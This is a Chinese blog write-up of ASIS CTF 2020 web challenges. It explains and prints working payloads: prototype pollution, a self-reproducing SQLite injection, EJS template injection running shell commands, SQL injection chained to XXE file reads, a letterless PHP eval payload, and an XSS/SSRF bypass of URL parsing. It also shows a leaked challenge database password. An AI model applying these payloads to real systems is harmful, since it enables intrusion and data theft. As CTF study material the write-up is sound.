Author:颖奇L’Amore

Blog:www.gem-love.com

全是复现的,比赛时间和SCTF刚好冲突了,但是质量是真的彳亍


Admin Panel

考点:原型链污染 非常困难的sqlite注入 SSIT

难度:Very Hard

这个题是真的牛批

是一个Admin Panel的登录,但是不知道密码所以登录就会被AccessDenied,题目给了source code

app.js

const express = require('express');
const app = express();
const session = require('express-session');
const db = require('better-sqlite3')('./db.db', {readonly: true});
const cookieParser = require("cookie-parser");
const FileStore = require('session-file-store')(session);
const fs = require('fs');

app.locals.flag = "REDACTED"
app.use(express.static('static'));
app.use(cookieParser());
app.use(express.urlencoded({extended: false}));
app.use(express.json());
app.set('views', __dirname + '/views');
app.set('view engine', 'ejs');
app.engine('html', require('ejs').renderFile);

const server = app.listen(3000, function(){
    console.log("Server started on port 3000")
});

app.use(session({
	secret: 'REDACTED',
	resave: false,
	saveUninitialized: true,
	store: new FileStore({path: __dirname+'/sessions/'})
}));

const router = require('./router/main')(app, db, fs);

main.js

module.exports = function(app, db, fs){
    app.get('/', function(req, res){
        res.render('index.html')
    });

    app.post('/login', function(req, res){
        var user = {};
        var tmp = req.body;
        var row;

        if(typeof tmp.pw !== "undefined"){
            tmp.pw = tmp.pw.replace(/\\/gi,'').replace(/\'/gi,'').replace(/-/gi,'').replace(/#/gi,'');
        }

        for(var key in tmp){
            user[key] = tmp[key];
        }

        if(req.connection.remoteAddress !== '::ffff:127.0.0.1' && tmp.id === 'admin' || typeof user.id === "undefined"){
            user.id = 'guest';
        }
        req.session.user = user.id;

        if(typeof user.pw !== "undefined"){
            row = db.prepare(`select pw from users where id='admin' and pw='${user.pw}'`).get();
            if(typeof row !== "undefined"){
                req.session.isAdmin = (row.pw === user.pw);
            }else{
                req.session.isAdmin = false;
            }
            if(req.session.isAdmin && req.session.user === 'admin'){
                res.statusCode = 302;
                res.setHeader('Location','admin');
                res.end();
            }else{
                res.end("Access Denied!");
            }
        }else{
            res.end("No password given.");
        }
    });

    app.get('/admin', function(req, res){
        if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
            if(typeof req.query.test !== "undefined"){
                res.render(req.query.test);
            }else{
                res.render("admin.html");
            }
        }else{
            res.end("Access Denied!");
        }
    });

    app.post('/upload', function(req, res){
        if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
            if(typeof req.body.name !== "undefined" && typeof req.body.file !== "undefined"){
                var fname = req.body.name;
                var dir = './views/upload/'+req.session.id;
                var contents = req.body.file;

                !fs.existsSync(dir) && fs.mkdirSync(dir);
                fs.writeFileSync(dir+'/'+fname, contents);
                res.end("Done.");
            }else{
                res.end("Something's wrong");
            }
        }else{
            res.end("Permission Denied!");
        }
    });
}

可以看一下登录的代码,对pw有一个安全检查,其中将所有的\ ' - #都替换为空。之后有个名为user的对象,遍历req.body并将里面的值存进user。之后会带着pw进行一个sql查询,这里或许可能造成注入,但是pw和sql结果中查询出的pw必须完全相等才能设置isAdmin这个session标记为True,否则false。如果isAdminTrue,则可以进入管理员账户。继续跟进,如果登录为管理员账户,则可以访问admin.html,并且可以拥有上传功能。

这里有一个逻辑矛盾需要我们解决,分析后文代码可知我们的用户名必须是admin,然而如果输入admin就会被强制修改为guest:

if(req.connection.remoteAddress !== '::ffff:127.0.0.1' && tmp.id === 'admin' || typeof user.id === "undefined"){
    user.id = 'guest';
}

Prototype Pollution

漏洞代码出在了这里,这是一段无论idpw是否为undefined都一定会执行的代码:

for(var key in tmp){
    user[key] = tmp[key];
}

我们知道,Post上传接收数据有多种方式,最常用的是urlencode,其次是json,比如hackbar的POST支持这三种Content-Type

注意到题目正好也是通过app.use(express.json());来支持json的。那么我们同样也可以用json来提交id和pw,一样的效果。程序的运行大概是这样:

而用了JSON,一个合格的WEB CTF选手应该对此能够足够敏感,因为JSON里是可以嵌套的,比如{"a":{"b":"c"}},而这种形式的JSON对于本题目代码来讲并不会产生任何问题。这样的话这个for循环遍历时var key就是object类型而不再是String

那么这有什么用?再回去看漏洞代码,遍历了tmp后挨个元素赋值给user,这就可以造成原型链污染。不懂原型链污染没关系,推荐阅读:

彻底理解JavaScript原型链(一)—__proto__的默认指向

在这篇文章中,开篇就总结的非常到位了:

  1. 对象__proto__属性,函数prototype属性;
  2. 对象函数生成;
  3. 生成对象时,对象__proto__属性指向函数prototype属性。

正如第三条所说,__proto__指向prototype,正常情况下是这样的:

如果POST的req.body这个JSON中包含了__proto__,然后又通过for循环遍历给了user,会怎么样?可以自己本地调试

//颖奇L'Amore www.gem-love.com 
var express = require('express');
const app = express();
app.use(express.urlencoded({extended: false}));
app.use(express.json());

app.route('/login')
    .post( function(req, res){
        var user = {};
        var tmp = req.body;
        console.log("\nreq.body:")
        console.log(req.body)
        var row;

        if(typeof tmp.pw !== "undefined"){
        	console.log("waf replace")
            tmp.pw = tmp.pw.replace(/\\/gi,'').replace(/\'/gi,'').replace(/-/gi,'').replace(/#/gi,'');
        }

        for(var key in tmp){
            user[key] = tmp[key];
        }
        console.log("user:")
        console.log(user)
        res.send("ok")
    });

const server = app.listen(3000, function(){
    console.log("Server started on port 3000")
});

因为Hackbar会在json里加入一些垃圾数据,所以我们直接用requests模块

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req
import json

HOST = "http://127.0.0.1:3000/login"
proxies={'http':'http://127.0.0.1:58080','https':'https://127.0.0.1:58080'}  #用来调试 可以配合burp 
headers = {"Content-Type": "application/json"}
data = {
	"__proto__" : {"id":"admin", "pw":"y1ng'#"}
}
json_data = json.dumps(data, sort_keys=False, separators=(',', ': '))
print(json_data)
req.post(HOST, data=json_data, headers=headers)

可以发现并没有console.log("waf replace"),因为tmp只有__proto__这么一个键,并没有pw,所以tmp.pwundefined,就不会进去if里进行replace(),这意味着我们成功bypass了waf;另外还可以看到输出的user是{},并没有任何东西,难道for(var key in tmp) user[key] = tmp[key];这个for循环不会把user复刻成tmp一样吗?继续调试

可以看到,user虽然是个空object,但是user.__proto__已经不再为空。在访问user.pw时,因为pw不存在,于是就回去它的prototype去寻找,于是找到了pw属性

当然,现在就已经能够成功伪造user.id成admin了,本地调试发现,设置user.id为guest的if并没有进入,而且直接进入了执行SQL的操作。

第一步原型链污染来伪造id为admin就做完了。

Hard SQL

然而,想要成为admin还需要设置session.isAdminTrue,这需要进行sql操作:

row = db.prepare(`select pw from users where id='admin' and pw='${user.pw}'`).get();
if(typeof row !== "undefined"){
    req.session.isAdmin = (row.pw === user.pw);
}

由题目代码const db = require('better-sqlite3')('./db.db', {readonly: true});可知题目使用的是sqlite数据库

上面已经bypass了replace()的waf,现在就可以实现sql注入了,因为想要让输入的pw和sql查询出来的pw完全相等实在是太难了。

想要注入实际上也不是很简单,因为只要sql语法没出错,回显就一样的:

不过我们可以构造时间盲注,如果是时间盲注的话,因为sqlite并没有像mysql的sleep()那样的直接延时函数,我们只能通过让它运算更长时间来达到延时的目的,也就是Heavy Query的思路

randomblob(N) 返回一个 N 字节长的包含伪随机字节的 BLOG, N 应该是正整数

关于randomblob()这个函数,实际上还有更有意思的东西:如果长度N过长就会出现Error

这意味着,我们可以通过randomblob()来特意构造一个Error,而题目如果sql语句查询出现Error是会不同回显的,这样我们就能实现Bool-Based Blind SQLi了

当然我们必须“选择性”触发这个Error,不然不就全程Error的回显了吗,sqlite在条件语句方面和PostgreSQL的语法完全一致,所以我们可以这样构造payload来布尔盲注:

{"__proto__": {"id": "admin","pw": "y1ng' union select case when (条件) then (select randomblob(100000000000000)) else 1 end--"}}

但是这个方法也有缺点,比如只有在联合查询时才能选择性触发Error,如果union换成and或者or(当然其他部分也得稍作改动),在这种子句构成的布尔表达式中便不会触发Error了。

因为是完全的Bypass了waf,无任何过滤,盲注起来就很方便了,substr()的用法和mysql等数据库完全一致:

所以就直接挨个爆破就好了,查询数据也非常方便因为表名什么的都是给了的,也可以参考Cheat Sheet里的这个payload:

and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')

然而实际上你会发现你什么都跑不出来,并不是payload的问题,原因是数据库里本来就是空的!

Error触发说明条件处的布尔表达式是True,进而说明count(*) from users为0,其中COUNT()函数是用来计算一个数据库表中的行数

文章写到这,实际上这题刚做完了一小半。数据库里没有东西,意味着永远也不可能输入正确的pw了,也就是说永远不可能成功伪造成admin

除非row.pw === user.pw返回True!再次回看代码:

row = db.prepare(`select pw from users where id='admin' and pw='${user.pw}'`).get();
if(typeof row !== "undefined"){
    req.session.isAdmin = (row.pw === user.pw);
}else{
    req.session.isAdmin = false;
}

刚刚我们去尝试往出注密码是因为默认了这个row.pw === user.pw根本不可能成立,现在看来必须要想办法让它成立了

这种考点确实牛逼,第一次见,需要让sql查询结果和sql语句完全相等,肯定需要让字符串重复输出,然后利用替换等来满足这个要求。参考文末链接4

replace(hex(zeroblob(X)),hex(zeroblob(1)),'string') 的结果是'string'*X

利用这个思路,通过把一些SQL语句写进字符串来实现,其中为了避免引号转义问题利用char(39)来代替,而sqlite中字符串的连接可以通过||来实现

于是得到:

Payload  :' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')--
Generates:' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||

可以发现后面的')--没有了,这个也得被重复,所以还得再套一层:

Payload  :' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')--')--')--
Generates:' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')--')--')--

现在,终于能够伪造admin了,登陆成功就会跳转:

if(req.session.isAdmin && req.session.user === 'admin'){
    res.statusCode = 302;
    res.setHeader('Location','admin');
    res.end();
}

ejs模板注入

没想到吧!题目做到这还没做完!

我们先来看下代码,首先接收一个test参数并用来渲染模板,否则是默认的admin.html

app.get('/admin', function(req, res){
    if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
        if(typeof req.query.test !== "undefined"){
            res.render(req.query.test);
        }else{
            res.render("admin.html");
        }
    }else{
        res.end("Access Denied!");
    }
});

上传则是提供了一个上传功能,使用session.id来创建一个目录并把上传的文件存在下面

app.post('/upload', function(req, res){
    if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
        if(typeof req.body.name !== "undefined" && typeof req.body.file !== "undefined"){
            var fname = req.body.name;
            var dir = './views/upload/'+req.session.id;
            var contents = req.body.file;

            !fs.existsSync(dir) && fs.mkdirSync(dir);
            fs.writeFileSync(dir+'/'+fname, contents);
            res.end("Done.");
        }else{
            res.end("Something's wrong");
        }
    }else{
        res.end("Permission Denied!");
    }
});

代码的逻辑非常明显,我们上传SSTI的模板文件然后被渲染然后RCE,注意到题目的如下代码

app.set('view engine', 'ejs');
app.engine('html', require('ejs').renderFile);

ejs是js的一个模板,不懂的可以去看看EJS中文文档:

https://ejs.bootcss.com/

虽然网上基本没啥相关payload,它不像Jinja2,实际上就直接Nodejs的代码执行就好了。payload:

<%- global.process.mainModule.require(‘child_process’).execSync(‘cat app.js’) %>

当然这是通解,本题目因为flag存在app.locals,所以ejs渲染时候可以直接读取,<%=flag%>就可以了

题目没有上传按钮,我们自己本地写个Form上传就好了,问题在于它并没有给回显路径

分析代码,上传的文件的路径是'./views/upload/' + req.session.id + '/y1ng.html',所以这个session.id是什么

首先拿出我们的cookie并url解码,s:.中间的部分就是session.id,至于为什么就要去啃源码,具体的啃源码分析过程建议参考文末的链接3,

connect.sid=s:7T-DLMSPuGOvFqEdMnCdVHYUjdb3wmxq.ubdBBNsufG1NzrzLwT2Qcizni6z8q4SMcXUHA/HP3F0

带上test参数传进去我们上传的模板来渲染导致RCE然后读文件即可得到flag

这题实在是太牛逼了,太牛逼了


Treasury #1 & Treasury #2 – Part 1

考点:Javascipt、SQL注入、XXE

难度:中等

是一个书店,每个书都有2个按钮可以点,AE点了就弹出一个Excerpt窗口,但并没有产生什么新请求,考虑使用了AJAX

HTML源代码注意到treasury.js,访问,得到关键代码:

async function anexcerpt(book) {
  const modalEl = document.createElement('div');
  modalEl.style.width = '70%';
  modalEl.style.height = '50%';
  modalEl.style.margin = '100px auto';
  modalEl.style.backgroundColor = '#fff';
  modalEl.className = 'mui-panel';
  const header = document.createElement('h2');
  header.appendChild(document.createTextNode("An Excerpt From " + book.name));
  modalEl.appendChild(header);
  const loading = createSpinner(modalEl);
  // show modal
  mui.overlay('on', modalEl);

  const response = await fetch('books.php?type=excerpt&id=' + book.id);
  const bookExcerpt = await response.text();
  const txtHolder = document.createElement('div');
  txtHolder.className = 'mui-textfield mui--z2'
  const txt = document.createElement('textarea');
  txt.appendChild(document.createTextNode(bookExcerpt));
  txt.readOnly = true;
  txt.style.height = "100%";
  txtHolder.appendChild(txt);
  txtHolder.style.height = "70%";
  loading.stop();
  modalEl.appendChild(txtHolder);
}

发现fetch('books.php?type=excerpt&id=' + book.id); 后面接了book id,访问测试发现id存在sql注入。并且使用了xml,simplexml_load_string() 函数转换形式良好的 XML 字符串为 SimpleXMLElement 对象。

可以得到回显:

Table: books
id=1' and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema=database()--+#

Column: id,info
id=1' and 1=2 union select group_concat(column_name) from information_schema.columns where table_schema=database()--+#

之后就查不到更多信息了,说明flag不在数据库里。注意到题目使用了simplexml_load_string(),我们可以通过构造XML来xxe

id=1'and 1=2 union select '<root><id>1</id><excerpt>abc</excerpt></root>'--+#

回显了abc,因此可以通过注入excerpt字段来XXE。用HackBar测试了一会总是出错,考虑是URL编码的问题,用requests模块,文件读取

#颖奇L'Amore
import requests as req
from urllib.parse import quote as urlen

HOST = "https://poems.asisctf.com/books.php?type=excerpt&id=1'and 1=2 "
payload = '''union select '<!DOCTYPE excerpt [<!ENTITY xxe SYSTEM "file:///flag">]><root><excerpt>&xxe;</excerpt></root>'-- #'''
payload = urlen(payload)
r = req.get(HOST+payload)
print(r.text)

得到flag:ASIS{03482b1821398ccb5214d891aed35dc87d3a77b2} 结果这个是#2的flag,#1的flag居然比#2更难拿,无语了

Treasury #1 & Treasury #2 – Part 2

xxe+伪协议得到books.php源码

<?php
sleep(1);

function connect_to_database() {
  $link = mysqli_connect("web4-mariadb", "ctfuser", "dhY#OThsdivojq2", "ASISCTF");
  if (!$link) {
    echo "Error: Unable to connect to DB.";
    exit;
  }
  return $link;
}

function fetch_books($condition) {
  $link = connect_to_database();
  if ($condition === "") {
    $where_condition = "";
  } else {
    $where_condition = "WHERE $condition";
  }
  $query = "SELECT info FROM books $where_condition";
  if ($result = mysqli_query($link, $query, MYSQLI_USE_RESULT)) {
    $books_info = array();
    while($row = $result->fetch_array(MYSQLI_NUM)) {
      $books_info[] = (string) $row[0];
    }
    mysqli_free_result($result);
  }
  mysqli_close($link);
  return $books_info;
}

function xml2array($xml) {
  return array(
    'id' => (string) $xml->id,
    'name' => (string) $xml->name,
    'author' => (string) $xml->author,
    'year' => (string) $xml->year,
    'link' => (string) $xml->link
  );
}

function get_all_books() {
  $books = array();
  $books_info = fetch_books("");
  foreach ($books_info as $info) {
    $xml = simplexml_load_string($info, 'SimpleXMLElement', LIBXML_NOENT);
    $books[] = xml2array($xml);
  }
  return $books;
}

function find_book($condition) {
  $book_info = fetch_books($condition)[0];
  $xml = simplexml_load_string($book_info, 'SimpleXMLElement', LIBXML_NOENT);
  return $xml;
}

$type = @$_GET["type"];
if ($type === "list") {
  $books = get_all_books();
  echo json_encode($books);

} elseif ($type === "excerpt") {
  $id = @$_GET["id"];
  $book = find_book("id='$id'");
  $bookExcerpt = $book->excerpt;
  echo $bookExcerpt;

} else {
  echo "Invalid type";
}

分析源码可知,题目从数据库查询了书籍的相关信息,然后利用simplexml_load_string()得到了一个SimpleXMLElement对象,最后输出了这个SimpleXMLElement对象的excerpt属性。

flag并没有在源代码,于是就很想知道到底从数据库中都查询了什么出来,因为题目只是选择性的输出了<excerpt></excerpt>的内容。这个考点实在是有点东西,不愧是国际带比赛,使用mysql的替换函数剥去XML标签然后显示在<excerpt></excerpt>中,即可得到完整内容

payload:

union select concat('<root><id>4</id><excerpt>',replace((select group_concat(id,info) from books),'<','?'),'</excerpt></root>')-- #

这道题我给打满分,出题人真的彳亍


Warm-up

考点:老生常谈的无字母RCE

难度:简单

<?php
if(isset($_GET['view-source'])){
    highlight_file(__FILE__);
    die();
}

if(isset($_GET['warmup'])){
    if(!preg_match('/[A-Za-z]/is',$_GET['warmup']) && strlen($_GET['warmup']) <= 60) {
    eval($_GET['warmup']);
    }else{
        die("Try harder!");
    }
}else{
    die("No param given");
}

虽然题目可以用数字,但是完全没必要。payload:

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);  //$_GET[_]($_GET[__])
http://69.90.132.196:5003/?warmup=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=readfile&__=flag.php

另外还看到了一种读文件的payload,收藏了

$_="@:>;963:"^"2_______"; // readfile
$__="____"^"830="; // glob
$_($__('*')[0]); // readfile(glob('*'))

PyCrypto

考点:AES加密、XSS、SSRF、CORS

难度:困难

这题是个webcrypto,除去密码部分,web还是非常简单的,如果当年好好做了安恒五月赛的notes那个XSS+SSRF的话,这种题都能拿payload直接秒

app.py

from Crypto.Cipher import AES
from flask import Flask, request, render_template, session
from flask_csp.csp import csp_header
import sqlite3
from hashlib import sha256
import markdown2
from selenium import webdriver
from socket import gethostbyname
from urlparse import urlparse

IP = "76.74.170.201"
BLOCK_SIZE = 32
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
key = "REDACTED"

assert len(key) == 32, "Key length error"

aes = AES.new(key, AES.MODE_ECB)
app = Flask(__name__)
app.secret_key = "REDACTED"
conn = sqlite3.connect('/app/user.db', check_same_thread=False)
c = conn.cursor()

def xor(msg1, msg2):
    res = ''
    for i in range(BLOCK_SIZE):
        res += chr(ord(msg1[i]) ^ ord(msg2[i]))
    return res

def encrypt(plaintext):
    plaintext = pad(plaintext)
    iv = pad("")
    ciphertext = ""
    for i in range(0, len(plaintext), BLOCK_SIZE):
        iv = xor(aes.encrypt(plaintext[i:i+BLOCK_SIZE]),iv)
        ciphertext += iv
    return ciphertext.encode('hex')

def decrypt(ciphertext):
    # REDACTED
    # res will be the plaintext
    return res

@app.route('/')
def index():
    return "Welcome To my Web + Crypto Task!"

@app.route('/api/login', methods=['POST'])
def login():
    try:
        user = request.form['id']
        pw = sha256(request.form['pw']).hexdigest()
        c.execute("select username from users where username=? and pw=?", (user, pw))
        res = c.fetchone()
        session['mycode'] = encrypt(res[0]+key)
        return 'Done!'
    except:
        return "Error!"

@app.route('/api/logout')
def logout():
    session.pop('mycode')
    return 'done!'

@app.route('/api/register', methods=['POST'])
def register():
    try:
        user = request.form['id']
        pw = sha256(request.form['pw']).hexdigest()
        c.execute("INSERT INTO users(username, pw) VALUES (?,?)",(user, pw))
        conn.commit()
        return 'register done!'
    except:
        return "Error!"

@app.route('/myinfo')
def info():
    if 'mycode' in session:
        return session['mycode']
    else:
        return 'Plz Login'

@app.route('/ticket')
@csp_header({
    "default-src": "'self'",
    "script-src":"'self' 'unsafe-inline'",
    "style-src": "'self'",
    "font-src": "'self'",
    "img-src": "'self'"})
def view_post():
    try:
        enc = request.args.get("msg")
        res_key = request.args.get("key")
        if res_key == key and request.remote_addr != '127.0.0.1':
            res = decrypt(enc)
            return markdown2.markdown(res,safe_mode=True)
        else:
            return "Key or Permission Error!"
    except:
        return "Something is wrong!"

@app.route('/flag')
def flag():
    if request.remote_addr == "127.0.0.1":
        return render_template("flag.html")
    else:
        return 'Only Admin can access!'

@app.route('/submit')
def submit():
    url = request.args.get("url")
    try:
        host = urlparse(url).netloc
        try:
            host = host[:host.index(':')]
        except:
            pass
        if gethostbyname(host) == IP:
            options = webdriver.ChromeOptions()
            options.add_argument('--headless')
            options.add_argument('--no-sandbox')
            options.add_argument('--disable-dev-shm-usage')
            driver = webdriver.Chrome(chrome_options=options, executable_path='/usr/local/bin/chromedriver')
            driver.implicitly_wait(30)
            driver.get(url)
            driver.quit()
            return "Done"
        else:
            return "Nop"
    except:
        return "URL Error"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

dockerfile:

FROM ubuntu:18.04
ENV DEBIAN_FRONTEND=noninteractive 
ENV APACHE_RUN_USER www-data
ENV APACHE_RUN_GROUP www-data

RUN apt update
RUN apt install -y wget
RUN apt-get install -y gnupg2
RUN wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add -
RUN sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list'
RUN apt update
RUN apt install -y google-chrome-stable
RUN apt install -yqq unzip curl
RUN wget -O /tmp/chromedriver.zip http://chromedriver.storage.googleapis.com/`curl -sS chromedriver.storage.googleapis.com/LATEST_RELEASE`/chromedriver_linux64.zip
RUN unzip /tmp/chromedriver.zip chromedriver -d /usr/local/bin/

RUN apt install -y python python-pip
RUN pip install flask==1.1.2
RUN pip install markdown2==2.3.8
RUN pip install pycrypto
RUN pip install flask_csp
RUN pip install selenium
RUN apt install -y sqlite3 libsqlite3-dev
RUN pip install pysqlite3

RUN apt install -y apache2
RUN apt install -y libapache2-mod-wsgi
RUN a2enmod wsgi

RUN mkdir -p /app
WORKDIR /app
ADD ./web/* ./

RUN mkdir templates
RUN mv ./flag.html ./templates/
RUN mkdir logs
RUN touch ./logs/error.log
RUN touch ./logs/access.log
ADD ./env/000-default.conf /etc/apache2/sites-available/

RUN chmod o+w /app
RUN chown www-data: /app/user.db

EXPOSE 8080

AES.MODE_ECB,我不太会,应该交给密码师傅来搞,参考GreyFang的脚本:

#TeamGreyFang
def getBlock(candidate):
    register(candidate)
    result = unhexlify(getCipher(candidate))
    iv1 = result[:32]
    return iv1

def cracker():
    key = ''
    for i in range(len(key)+1, 32):
        candidate = ('a'*(32 - i))
        ref = getBlock(candidate)
        for p in string.printable:
            try:
                candidate = ('a'*(32 - i) + key) + p
                result = getBlock(candidate)
                if result == ref:
                    key += p
                    print("Match Found!!!", key)
                    break
            except Exception as e:
                print("Error Occured!", e)
    return key

得到Key:"ASIS2020_W3bc[email protected]#%^"

/ticket中使用的md2,有一个老生常谈的XSS漏洞,前段时间BBCTF里还出现了这个考点,那个题的wp:

🇮🇳Byte Bandits CTF 2020 Writeup

这个题和我出的BJDCTF 3rd的notes实在是太像了,flag需要本地访问,CSP都基本一样,尽管有CSP,但是允许'unsafe-inline'意味着我们可以执行javascript,那就用XMLHttpRequest或者直接fetch()一下flag实现SSRF然后通过window.location把结果带出来就行了。

这题真的很简单,比赛时solve人少大概是被AES难住了

注意到/tickit中的代码接收了key和加密过的payload然后进行解密然后md2

enc = request.args.get("msg")
res_key = request.args.get("key")
if res_key == key and request.remote_addr != '127.0.0.1':
    res = decrypt(enc)
    return markdown2.markdown(res,safe_mode=True)

那么我们首先需要对payload进行加密,直接用它的源码改改就行了

get方式传上去就行了,可以发现JavaScript被成功触发并且把数据带去了我们的vps

然后就提交是bot了。在提交url给bot时还有个问题需要解决,这个和SCTF的Jsonhub一样,也是强制提交的url为公网ip开头,所以要想办法让它解析到127.0.0.1才行。题目使用了urlparse,2017 Black Hat上Orange的议题明确表示Python urlparse并不能被abuse

但是这里这段代码未免也太奇怪的了

自己写一下然后调试了,这个host最后能够获得题目的公网ip,但是最后访问却可以访问到其他任意主机

所以url应该是

http://76.74.170.201:[email protected]:8080/ticket?msg=payload&key=key

这个直接访问确实应该是访问到127.0.0.1:8080,但是一直打不通,是因为被SOP干掉了,所以再弄个域名解析绕一下即可


References 

https://github.com/networknerd/CTF_Writeups/blob/master/2020/ASISCTF_2020/Web/WebWarmup/README.md

https://github.com/saw-your-packet/ctfs/blob/master/ASIS%20CTF%20Quals%202020/Write-ups.md

https://drive.google.com/file/d/16YW4JjdcAbFSzDbECy4wA8IDDA-hxC2i/view?usp=sharing

https://github.com/TeamGreyFang/CTF-Writeups/tree/master/AsisCTF2020

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2462.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

分类: CTF

颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image